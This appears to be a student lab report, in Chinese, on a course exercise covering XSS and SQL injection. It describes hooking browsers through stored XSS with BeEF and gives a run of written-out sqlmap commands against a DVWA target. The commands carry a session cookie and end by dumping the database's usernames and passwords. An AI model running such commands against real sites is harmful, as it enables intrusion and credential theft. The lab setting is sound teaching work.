实验三 XSS和SQL注入
实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
系统环境:Kali Linux 2、Windows Server
网络环境:交换网络结构
实验工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
XSS部分:利用Beef劫持被攻击者客户端浏览器。
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
1.什么是XSS
XSS又叫CSS (Cross Site Script) 也称为跨站,它是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
(剩下的介绍我怕会审核不过,想看的给我留言)进入正题
2.利用AWVS扫描留言簿网站,发现其存在XSS漏洞
3. Kali使用beef生成恶意代码
这里的ip是你虚拟机的ip地址
4.访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板
5.管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页。
在虚拟机打开网站首页
查看beef中的 online Browsers 出现一个目标浏览器,并进行相关操作
结果如下:
5.实验中XSS攻击属于哪种类型?
储存型xss攻击
SQL注入部分:DVWA+SQLmap+Mysql注入
实验环境搭建。启动Metasploitable2虚拟机。
利用nmap -p80 --script http-auth-finder 靶机地址打开dvwa网站
按下F12,在控制台输入document.cookie即可获取cookie值
1、注入点发现。首先肯定是要判断是否有注入漏洞。
2.枚举当前使用的数据库名称和用户名
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’-b --current-db --current-user
3.枚举数据库用户名和密码
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ --users --password
4、枚举数据库
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ --dbs
5、枚举数据库和指定数据库的数据表
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ -D dvwa --tables
6、获取指定数据库和表中所有列的信息
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ -D dvwa -T users --columns
7、枚举指定数据表中的所有用户名与密码,并down到本地
命令:sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ -D dvwa -T users -C user,password --dump
在虚拟机打开文件,取消隐藏,打开对应文件即可查看
实验小结:
这次实验我感觉大多数还是验证性的实验,除了第一题的beef之外,当时在弄的时候没有在online那找到对应的网站,它一直在off的那一行,导致无法跳转目标网站,不得不说,劫持辛酸,第二题的sql注入其实还好,按步骤来就好了,就那个隐藏文件需要思考一下,冲冲冲!